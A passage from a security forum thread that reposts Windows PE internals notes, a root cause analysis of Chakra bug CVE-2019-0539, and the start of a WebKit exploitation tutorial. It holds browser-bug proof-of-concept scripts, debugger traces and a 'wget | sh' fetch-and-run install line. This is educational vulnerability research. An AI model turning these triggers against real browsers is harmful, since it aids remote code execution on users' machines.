Kernel or Base API's: These are the non GUI related services such as I/O, memory, object and process an d thread management (2) GDI API's : these include low-level graphics services such a s those for drawing a line, displaying bitmap, etc. (3) USER API's : these are the higher level GUI-related services such as window management, menus, dialog boxes, user-interface controls. System Calls A system call is when a user mode code needs to cal a kernel mode function. This usually happens when an application calls an operating system API. User mode code invokes a special CPU instruction that tells the processor to switch to its privileged mode and call a dispatch routine. This dispatch routine then calls the specific system function requested from user mode. PE Format The Windows executable format is a PE (portable Executable). The term "portable" refers to format's versatility in numerous environments and architectures. Executable files are relocatable. This means that they could be loaded at a different virtual address each time they are loaded. An executable must coexist with other executables that are loaded in the same memory address. Other than the main executable, every program has a certain number of additional executables loaded into its address space regardless of whether it has DLL's of its own or not. Relocation Issues If two excutables attempt to be loaded into the same virtual space, one must be relocated to another virtual space. each executable is module is assigned a base address and if something is already there, it must be relocated. There are never absolute memory addresses in executable headers, those only exist in the code. To make this work, whenever there is a pointer inside the executable header, it is always a relative virtual address (RVA). Think of this as simply an offset. When the file is loaded, it is assigned a virtual address and the loaded calculates real virtual addresses out of RVA's by adding the modules base address to an RVA. Image Sections An executable section is divided into individual sections in which the file's contents are stored. Sections are needed because different areas in the file are treated differently by the memory manager when a module is loaded. This division takes place in the code section (also called text) containing the executable's code and a data section containing the executable's data. When loaded, the memory manager sets the access rights on memory pages in the different sections based on their settings in the section header. Section Alignment Individual sections often have different access settings defined in the executable header. The memory manager must apply these access settings when an executable image is loaded. Sections must typically be page aligned when an executable is loaded into memory. It would take extra space on disk to page align sections on disk. Therefore, the PE header has two different kinds of alignment fields, section alignment and file alignment. DLL's DLL's allow a program to be broken into more than one executable file. In this way, overall memory consumption is reduced, executables are not loaded until features they implement are required. Individual components can be replaced or upgraded to modify or improve a certain aspect of the program. DLL's can dramatically reduce overall system memory consumption because the system can detect that a certain executable has been loaded into more than one address space, then map it into each address space instead of reloading it into a new memory location. DLL's are different from static libraries (.lib) which linked to the executable. Loading DLL's Static Linking is implemented by having each module list the the modules it uses and the functions it calls within each module. This is known as an import table (see IDA Pro tutorial). Run time linking refers to a different process whereby an executable can decide to load another executable in runtime and call a function from that executable. PE Headers A Portable Executable (PE) file starts with a DOS header. "This program cannot be run in DOS mode" typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAFE_FILE_HEADER Fileheader; IMAGE_OPTIONAL_HEADER32 OptionHeader; } Image_NT_HEADERS32, *PIMAGE_NT_HEADERS32 This data structure references two data structures which contain the actual PE header. Imports and Exports Imports and Exports are the mechanisms that enable the dynamic linking process of executables. The compiler has no idea of the actual addresses of the imported functions, only in runtime will these addresses be known. To solve this issue, the linker creates a import table that lists all the functions imported by the current module by their names. Susa: https://www.hackers-arise.com/single-post/2017/07/04/Reverse-Engineering-Malware-Part-4-Windows-Internals
      • 1
      • Upvote
  22. CVE-2019-0539 Root Cause Analysis. Microsoft Edge Chakra JIT Type Confusion Rom Cncynatus and Shlomi Levin Introduction Setup Time Travel Debugging Root Cause Analysis Final Thoughts More Articles Contact Introduction. CVE-2019-0539 was fixed in the Microsoft Edge Chakra Engine update for January 2019. This bug and 2 others were discovered and reported by Lokihardt of Google Project Zero. The bug can lead to a remote code execution by visiting a malicious web page. As Lokihardt describes, this type confusion bug occurs when the code generated by the Chakra just-in-time (JIT) javascript compiler unknowingly performs a type transition of an object and incorrectly assumes no side effects on the object later on. As Abhijith Chatra of the Chakra dev team describes in his blog, Dynamic type objects have a property map and a slot array. The property map is used to know the index of an object’s property in the slot array. The slot array stores the actual data of the property. CVE-2019-0539 causes the JIT code to confuse the object in memory which causes the slot array pointer to be overridden with arbitrary data. Setup. Build the vulnerable version of ChakraCore for windows https://github.com/Microsoft/ChakraCore/wiki/Building-ChakraCore (in Visual Studio MSBuild Command Prompt) c:\code>git clone https://github.com/Microsoft/ChakraCore.git c:\code>cd ChakraCore c:\code\ChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5 c:\code\ChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln Time Travel Debugging. This blog makes use of TTD (Time Travel Debugging). As described by Microsoft: Time Travel Debugging, is a tool that allows you to record an execution of your process running, then replay it later both forwards and backwards. Time Travel Debugging (TTD) can help you debug issues easier by letting you "rewind" your debugger session, instead of having to reproduce the issue until you find the bug. Install the latest Windbg preview from the Microsoft Store. Don’t forget to run it with Administrator privileges. Root Cause Analysis. PoC: function opt(o, c, value) { o.b = 1; class A extends c { // may transition the object } o.a = value; // overwrite slot array pointer } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, (function () {}), {}); } let o = {a: 1, b: 2}; let cons = function () {}; cons.prototype = o; // causes "class A extends c" to transition the object type opt(o, cons, 0x1234); print(o.a); // access the slot array pointer resulting in a crash } main(); Run the debugger with TTD until it crashes and then perform the following commands 0:005> !tt 0 Setting position to the beginning of the trace Setting position: 14:0 (1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available) Time Travel Position: 14:0 ntdll!LdrInitializeThunk: 00007fff`03625640 4053 push rbx 0:000> g ModLoad: 00007fff`007e0000 00007fff`0087e000 C:\Windows\System32\sechost.dll ModLoad: 00007fff`00f40000 00007fff`00fe3000 C:\Windows\System32\advapi32.dll ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000 C:\Windows\System32\win32u.dll ModLoad: 00007fff`00930000 00007fff`00ac7000 C:\Windows\System32\USER32.dll ModLoad: 00007ffe`ff940000 00007ffe`ffada000 C:\Windows\System32\gdi32full.dll ModLoad: 00007fff`02e10000 00007fff`02e39000 C:\Windows\System32\GDI32.dll ModLoad: 00007fff`03420000 00007fff`03575000 C:\Windows\System32\ole32.dll ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000 C:\Windows\System32\bcrypt.dll ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000 C:\Windows\SYSTEM32\dbghelp.dll ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000 C:\Windows\SYSTEM32\dbgcore.DLL ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000 c:\pp\ChakraCore\Build\VcBuild\bin\x64_debug\chakracore.dll ModLoad: 00007fff`011c0000 00007fff`011ee000 C:\Windows\System32\IMM32.DLL ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000 C:\Windows\System32\kernel.appcore.dll ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000 C:\Windows\SYSTEM32\Bcp47Langs.dll ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000 C:\Windows\SYSTEM32\bcp47mrm.dll ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000 C:\Windows\SYSTEM32\windows.globalization.dll ModLoad: 00007ffe`ff010000 00007ffe`ff01c000 C:\Windows\SYSTEM32\CRYPTBASE.DLL (1e8c.20b8): Access violation - code c0000005 (first/second chance not available) First chance exceptions are reported before any exception handling. This exception may be expected and handled. Time Travel Position: 90063:0 chakracore!Js::DynamicTypeHandler::GetSlot+0x149: 00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=???????????????? 0:004> ub chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 96]: 00007ffe`9cd1ec5d 488b442450 mov rax,qword ptr [rsp+50h] 00007ffe`9cd1ec62 0fb74012 movzx eax,word ptr [rax+12h] 00007ffe`9cd1ec66 8b4c2460 mov ecx,dword ptr [rsp+60h] 00007ffe`9cd1ec6a 2bc8 sub ecx,eax 00007ffe`9cd1ec6c 8bc1 mov eax,ecx 00007ffe`9cd1ec6e 4898 cdqe 00007ffe`9cd1ec70 488b4c2458 mov rcx,qword ptr [rsp+58h] // object pointer 00007ffe`9cd1ec75 488b4910 mov rcx,qword ptr [rcx+10h] // slot array pointer 0:004> ba w 8 poi(@rsp+58)+10 0:004> g- Breakpoint 1 hit Time Travel Position: 9001D:178A 00000195`cc9c0159 488bc7 mov rax,rdi Below is the JIT code that ultimately overrides the pointer to the slot array. Notice the call to chakracore!Js::JavascriptOperators::OP_InitClass. As Lokihardt explained, this function will ultimately invoke SetIsPrototype which will transition the object type. 0:004> ub @rip L20 00000195`cc9c00c6 ef out dx,eax 00000195`cc9c00c7 0000 add byte ptr [rax],al 00000195`cc9c00c9 004c0f45 add byte ptr [rdi+rcx+45h],cl 00000195`cc9c00cd f249895e18 repne mov qword ptr [r14+18h],rbx 00000195`cc9c00d2 4c8bc7 mov r8,rdi 00000195`cc9c00d5 498bcf mov rcx,r15 00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h 00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0) 00000195`cc9c00ec 48ffd0 call rax 00000195`cc9c00ef 488bd8 mov rbx,rax 00000195`cc9c00f2 498bd5 mov rdx,r13 00000195`cc9c00f5 488bcb mov rcx,rbx 00000195`cc9c00f8 c60601 mov byte ptr [rsi],1 00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h 00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object 00000195`cc9c010f 48ffd0 call rax 00000195`cc9c0112 803e01 cmp byte ptr [rsi],1 00000195`cc9c0115 0f85dc000000 jne 00000195`cc9c01f7 00000195`cc9c011b 488bc3 mov rax,rbx 00000195`cc9c011e 48c1e830 shr rax,30h 00000195`cc9c0122 0f85eb000000 jne 00000195`cc9c0213 00000195`cc9c0128 4c8b6b08 mov r13,qword ptr [rbx+8] 00000195`cc9c012c 498bc5 mov rax,r13 00000195`cc9c012f 48c1e806 shr rax,6 00000195`cc9c0133 4883e007 and rax,7 00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h 00000195`cc9c0141 33d2 xor edx,edx 00000195`cc9c0143 4c3b2cc1 cmp r13,qword ptr [rcx+rax*8] 00000195`cc9c0147 0f85e2000000 jne 00000195`cc9c022f 00000195`cc9c014d 480f45da cmovne rbx,rdx 00000195`cc9c0151 488b4310 mov rax,qword ptr [rbx+10h] 00000195`cc9c0155 4d896610 mov qword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer Below is a memory dump of the object just before the OP_InitClass invocation by the JIT code. Notice how the two objects slots are inlined in the object’s memory (rather than being stored in a separated slot array). Time Travel Position: 8FE48:C95 chakracore!Js::JavascriptOperators::OP_InitClass: 00007ffe`9c674180 4c89442418 mov qword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030 0:004> dps 00000195`cd274440 00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd274448 00000195`ca3c1d40 00000195`cd274450 00010000`00000001 // inline slot 1 00000195`cd274458 00010000`00000001 // inline slot 2 00000195`cd274460 00000195`cd274440 00000195`cd274468 00010000`00000000 00000195`cd274470 00000195`ca3b4030 00000195`cd274478 00000000`00000000 00000195`cd274480 00000195`cd073ed0 00000195`cd274488 00000000`00000000 00000195`cd274490 00000000`00000000 00000195`cd274498 00000000`00000000 00000195`cd2744a0 00000195`cd275c00 00000195`cd2744a8 00010000`00000000 00000195`cd2744b0 00000195`ca3dc100 00000195`cd2744b8 00000000`00000000 The following callstack shows that SetIsPrototype is ultimately invoked by OP_InitClass, thus transitioning the object’s type. The transition results in that the two slots will no longer be inlined, but rather stored in the slot array. This transition will later be ignored by the rest of the JIT code. 0:004> kb # RetAddr : Args to Child : Call Site 00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 755] 01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 591] 02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1622] 03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1598] 04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.h @ 297] 05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 2892] 06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 680] 07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:\pp\chakracore\lib\runtime\types\recyclableobject.cpp @ 190] 08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:\pp\chakracore\lib\runtime\types\dynamictype.cpp @ 632] 09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:\pp\chakracore\lib\runtime\language\javascriptoperators.cpp @ 7532] 0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112 Below is a memory dump of the object after OP_InitClass invocation. Notice that the object has transitioned and that the 2 slots are no longer inlined. However, as said, the JIT code will still assume that the slots are inlined. Time Travel Position: 9001D:14FA 00000195`cc9c0112 803e01 cmp byte ptr [rsi],1 ds:0000018d`c8e72018=01 0:004> dps 00000195`cd274440 00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd274448 00000195`cd275d40 00000195`cd274450 00000195`cd2744c0 // slot array pointer (previously inline slot 1) 00000195`cd274458 00000000`00000000 00000195`cd274460 00000195`cd274440 00000195`cd274468 00010000`00000000 00000195`cd274470 00000195`ca3b4030 00000195`cd274478 00000195`cd277000 00000195`cd274480 00000195`cd073ed0 00000195`cd274488 00000195`cd073f60 00000195`cd274490 00000195`cd073f90 00000195`cd274498 00000000`00000000 00000195`cd2744a0 00000195`cd275c00 00000195`cd2744a8 00010000`00000000 00000195`cd2744b0 00000195`ca3dc100 00000195`cd2744b8 00000000`00000000 0:004> dps 00000195`cd2744c0 // slot array 00000195`cd2744c0 00010000`00000001 00000195`cd2744c8 00010000`00000001 00000195`cd2744d0 00000000`00000000 00000195`cd2744d8 00000000`00000000 00000195`cd2744e0 00000119`00000000 00000195`cd2744e8 00000000`00000100 00000195`cd2744f0 00000195`cd074000 00000195`cd2744f8 00000000`00000000 00000195`cd274500 000000c4`00000000 00000195`cd274508 00000000`00000102 00000195`cd274510 00000195`cd074030 00000195`cd274518 00000000`00000000 00000195`cd274520 000000fb`00000000 00000195`cd274528 00000000`00000102 00000195`cd274530 00000195`cd074060 00000195`cd274538 00000000`00000000 Below is a memory dump of the object just after the JIT code wrongly assigns the property value, overriding the slot array pointer 0:004> dqs 00000195cd274440 00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd274448 00000195`cd275d40 00000195`cd274450 00010000`00001234 // overridden slot array pointer (CVE-2019-0539) 00000195`cd274458 00000000`00000000 00000195`cd274460 00000195`cd274440 00000195`cd274468 00010000`00000000 00000195`cd274470 00000195`ca3b4030 00000195`cd274478 00000195`cd277000 00000195`cd274480 00000195`cd073ed0 00000195`cd274488 00000195`cd073f60 00000195`cd274490 00000195`cd073f90 00000195`cd274498 00000000`00000000 00000195`cd2744a0 00000195`cd275c00 00000195`cd2744a8 00010000`00000000 00000195`cd2744b0 00000195`ca3dc100 00000195`cd2744b8 00000000`00000000 Finally, when accessing one of the object’s properties, the overridden slot array pointer is dereferenced, resulting in a crash 0:004> g (1e8c.20b8): Access violation - code c0000005 (first/second chance not available) First chance exceptions are reported before any exception handling. chakracore!Js::DynamicTypeHandler::GetSlot+0x149: 00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=???????????????? Final Thoughts. The debugging process was simplified thanks to the TTD addition of Windbg. Specifically, the ability to set a breakpoint and then run the program in reverse leading directly to the actual slot array pointer override. This feature really shows the power of CPU tracing and execution reconstruction for software debugging and reverse engineering. Sursa: https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/
  23. Webkit Exploitation Tutorial 41 minute read Contents Preface Setup Virtual Machine Source Code Debugger and Editor Test Compiling JavaScriptCore Triggering Bugs Understanding WebKit Vulnerability 1. Use After Free 2. Out of Bound 3. Type Confusion 4. Integer Overflow 5. Else JavaScriptCore in Depth JSC Value Representation JSC Object Model 0x0 Fast JSObject 0x1 JSObject with dynamically added fields 0x2 JSArray with room for 3 array elements 0x3 Object with fast properties and array elements 0x4 Object with fast and dynamic properties and array elements 0x5 Exotic object with dynamic properties and array elements Type Inference Watchpoints Compilers 0x0. LLInt 0x1. Baseline JIT and Byte Code Template 0x2. DFG 0x3. FLT 0x4. More About Optimization Garbage Collector (TODO) Writing Exploitation Analyzing Utility Functions Getting Native Code Controlling Bytes Writing Exploit Detail about the Script Conclusion on the Exploitation Debugging WebKit Setting Breakpoints Inspecting JSC Objects Getting Native Code 1 Day Exploitation Root Cause Quotation from Lokihardt Line by Line Explanation Debugging Constructing Attack Primitive addrof fakeobj Arbitrary R/W and Shellcode Execution Acknowledgement References Preface OKay, binary security is not only heap and stack, we still have a lot to discover despite regular CTF challenge. Browser, Virtual Machine, and Kernel all play an important role in binary security. And I decide to study browser first. I choose a relatively easy one: WebKit. (ChakraCore might be easier, LoL. But there’s a rumor about Microsoft canceling the project. Thus I decided not to choose it). I will write a series of posts to record my notes in studying WebKit security. It’s also my first time learning Browser Security, my posts probably will have lots of mistakes. If you notice them, don’t be hesitate to contact me for corrections. Before reading it, you need to know: C++ grammar Assembly Language grammar Installation of Virtual Machine Familiar to Ubuntu and its command line Basic compile theory concepts Setup Okay, let’s start now. Virtual Machine First, we need to install a VM as our testing target. Here, I choose Ubuntu 18.04 LTS and Ubuntu 16.04 LTSas our target host. You can download here. If I don’t specify the version, please use 18.04 LTS as default version. Mac might be a more appropriate choice since it has XCode and Safari. Consider to MacOS’s high resource consumption and unstable update, I would rather use Ubuntu. We need a VM software. I prefer to use VMWare. Parallel Desktop and VirtualBox(Free) are also fine, it depends on your personal habit. I won’t tell you how to install Ubuntu on VMWare step by step. However, I still need to remind you to allocate as much memory and CPUs as possible because compilation consumes a huge amount of resource. An 80GB disk should be enough to store source code and compiled files. Source Code You can download WebKit source code in three ways: git, svn, and archive. The default version manager of WebKit is svn. But I choose git(too unfamiliar to use svn): git clone git://git.webkit.org/WebKit.git WebKit Debugger and Editor IDE consumes lots of resource, so I use vim to edit source code. Most debug works I have seen use lldb which I am not familiar to. Therefore, I also install gdb with gef plugin. sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh Test Compiling JavaScriptCore Compiling a full WebKit takes a large amount of time. We only compile JSC(JavaScript Core) currently, where most vulnerabilities come from. Now, you should in the root directory of WebKit source code. Run this to prepare dependencies: Tools/gtk/install-dependencies Even though we still not compile full WebKit now, you can install remaining dependencies first for future testing. This step is not required in compiling JSC if you don’t want to spend too much time: Tools/Scripts/update-webkitgtk-libs After that, we can compile JSC: Tools/Scripts/build-webkit --jsc-only A couple of minutes later, we can run JSC by: WebKitBuild/Release/bin/jsc Let’s do some tests: >>> 1+1 2 >>> var obj = {a:1, b:"test"} undefined >>> JSON.stringify(obj) {"a":1,"b":"test"} Triggering Bugs Ubuntu 18.04 LTS here We use CVE-2018-4416 to test, here is the PoC. Store it to poc.js at the same folder of jsc: function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } } function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) { } let tmp = {a: 1}; gc(); tmp.__proto__ = {}; for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator. tmp.__proto__ = {}; gc(); obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's. return obj[k]; // Type confusion. } } opt({}); let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234; let fake_object = opt(fake_object_memory); print(fake_object); First, switch to the vulnerable version: git checkout -b CVE-2018-4416 034abace7ab It may spend even more time than compiling Run: ./jsc poc.js, and we can get: ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot<true>(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) If we run this on latest version(git checkout master to switch back, and delete build content rm -rf WebKitBuild/Relase/* and rm -rf WebKitBuild/Debug/*😞 ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined ================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, ... // lots of error message SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). Now, we succeed triggering a bug! I am not gonna to explain the detail(I don’t know either). Hope we can figure out the root cause after a few weeks Understanding WebKit Vulnerability Now, it’s time to discuss something deeper. Before we start to talk about WebKit architecture, let’s find out common bugs in WebKit. Here, I only discuss binary level related bugs. Some higher level bugs, like URL Spoof or UXSS, are not our topic. Examples below are not merely from WebKit. Some are Chrome’s bugs. We will introduce briefly. And analyze PoC specifically later. Before reading this part, you are strongly recommended to read some materials about compiler theory. Basic Pwn knowledge should also be learned. My explanation is not clear. Again, correct my mistakes if you find. This post will be updated several times as my understanding in JSC becomes deeper. Don’t forget to check it later. 1. Use After Free A.k.a UAF. This is common in CTF challenge, a classical scenario: char* a = malloc(0x100); free(a); printf("%s", a); Because of some logic errors. The code will reuse freed memory. Usually, we can leak or write once we controlled the freed memory. CVE-2017-13791 is an example for WebKit UAF. Here is the PoC: <script> function jsfuzzer() { textarea1.setRangeText("foo"); textarea2.autofocus = true; textarea1.name = "foo"; form.insertBefore(textarea2, form.firstChild); form.submit(); } function eventhandler2() { for(var i=0;i<100;i++) { var e = document.createElement("input"); form.appendChild(e); } } </script> <body onload=jsfuzzer()> <form id="form" onchange="eventhandler2()"> <textarea id="textarea1">a</textarea> <object id="object"></object> <textarea id="textarea2">b</textarea> 2. Out of Bound A.k.a OOB. It’s like the overflow in Browser. Still, we can read/write nearby memory. OOB frequently occurs in false optimization of an array or insufficient check. For example(CVE-2017-2447😞 var ba; function s(){ ba = this; } function dummy(){ alert("just a function"); } Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn’t altered) and reads out of bounds. In most cases. we cannot directly overwrite $RIP register. Exploit writers always craft fake array to turn partial R/W to arbitrary R/W. 3. Type Confusion It’s a special vulnerability that happens in applications with the compiler. And this bug is slightly difficult to explain. Imagine we have the following object(32 bits): struct example{ int length; char *content; } Then, if we have a length == 5 with a content pointer object in the memory, it probably shows like this: 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer Once we have another object: struct exploit{ int length; void (*exp)(); } We can force the compiler to parse example object as exploit object. We can turn the exp function to arbitrary address and RCE. An example for type confusion: var q; function g(){ q = g.caller; return 7; } var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); Cited from CVE-2017-2446 If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. 4. Integer Overflow Integer Overflow is also common in CTF. Though Integer Overflow itself cannot lead RCE, it probably leads to OOB. It’s not difficult to understand this bug. Imagine you are running below code in 32 bits machine: mov eax, 0xffffffff add eax, 2 Because the maximum of eax is 0xffffffff. In cannot contact 0xffffffff + 2 = 0x100000001. Thus, the higher byte will be overflowed(eliminated). The final result of eax is 0x00000001. This is an example from WebKit(CVE-2017-2536😞 var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; The length is not correctly checked resulting we can overflow the length via expanding an array to the old one. Then, we can use the extensive array to OOB. 5. Else Some bugs are difficult to categorize: Race Condition Unallocated Memory … I will explain them in detail later. JavaScriptCore in Depth The Webkit primarily includes: JavaScriptCore: JavaScript executing engine. WTF: Web Template Library, replacement for C++ STL lib. It has string operations, smart pointer, and etc. The heap operation is also unique here. DumpRenderTree: Produce RenderTree WebCore: The most complicated part. It has CSS, DOM, HTML, render, and etc. Almost every part of the browser despite components mentioned above. And the JSC has: lexer parser start-up interpreter (LLInt) three javascript JIT compiler, their compile time gradually becomes longer but run faster and faster: baseline JIT, the initial JIT a low-latency optimizing JIT (DFG) a high-throughput optimizing JIT (FTL), final phase of JIT two WebAssembly execution engines: BBQ OMG Still a disclaimer, this post might be inaccurate or wrong in explaining WebKit mechanisms If you have learned basic compile theory courses, lexer and parser are as usual as what taught in classes. But the code generation part is frustrating. It has one interpreter and three compilers, WTF? JSC also has many other unconventional features, let’s have a look: JSC Value Representation To easier identifying, JSC’s value represents differently: pointer : 0000:PPPP:PPPP:PPPP (begins with 0000, then its address) double (begins with 0001 or FFFE): 0001:****:****:**** FFFE:****:****:**** integer: FFFF:0000:IIII:IIII (use IIII:IIII for storing value) false: 0x06 true: 0x07 undefined: 0x0a null: 0x02 0x0, however, is not a valid value and can lead to a crash. JSC Object Model Unlike Java, which has fix class member, JavaScript allows people to add properties any time. So, despite traditionally statically align properties, JSC has a butterfly pointer for adding dynamic properties. It’s like an additional array. Let’s explain it in several situations. Also, JSArray will always be allocated to butterfly pointer since they change dynamically. We can understand the concept easily with the following graph: 0x0 Fast JSObject The properties are initialized: var o = {f: 5, g: 6}; The butterfly pointer will be null here since we only have static properties: -------------- |structure ID| -------------- | indexing | -------------- | type | -------------- | flags | -------------- | call state | -------------- | NULL | --> Butterfly Pointer -------------- | 0xffff000 | --> 5 in JS format | 000000005 | -------------- | 0xffff000 | | 000000006 | --> 6 in JS format -------------- Let’s expand our knowledge of JSObject. As we see, each structure ID has a matched structure table. Inside the table, it contains the property names and their offsets. In our previous object o, the table looks like: property name location “f” inline(0) “g” inline(1) When we want to retrieve a value(e.g. var v = o.f), following behaviors will happen: if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) You might wonder why the compiler will directly retrieve the value via offset when knowing the ID is 42. This is a mechanism called inline caching, which helps us to get value faster. We won’t talk about this much, click here for more details. 0x1 JSObject with dynamically added fields var o = {f: 5, g: 6}; o.h = 7; Now, the butterfly has a slot, which is 7. -------------- |structure 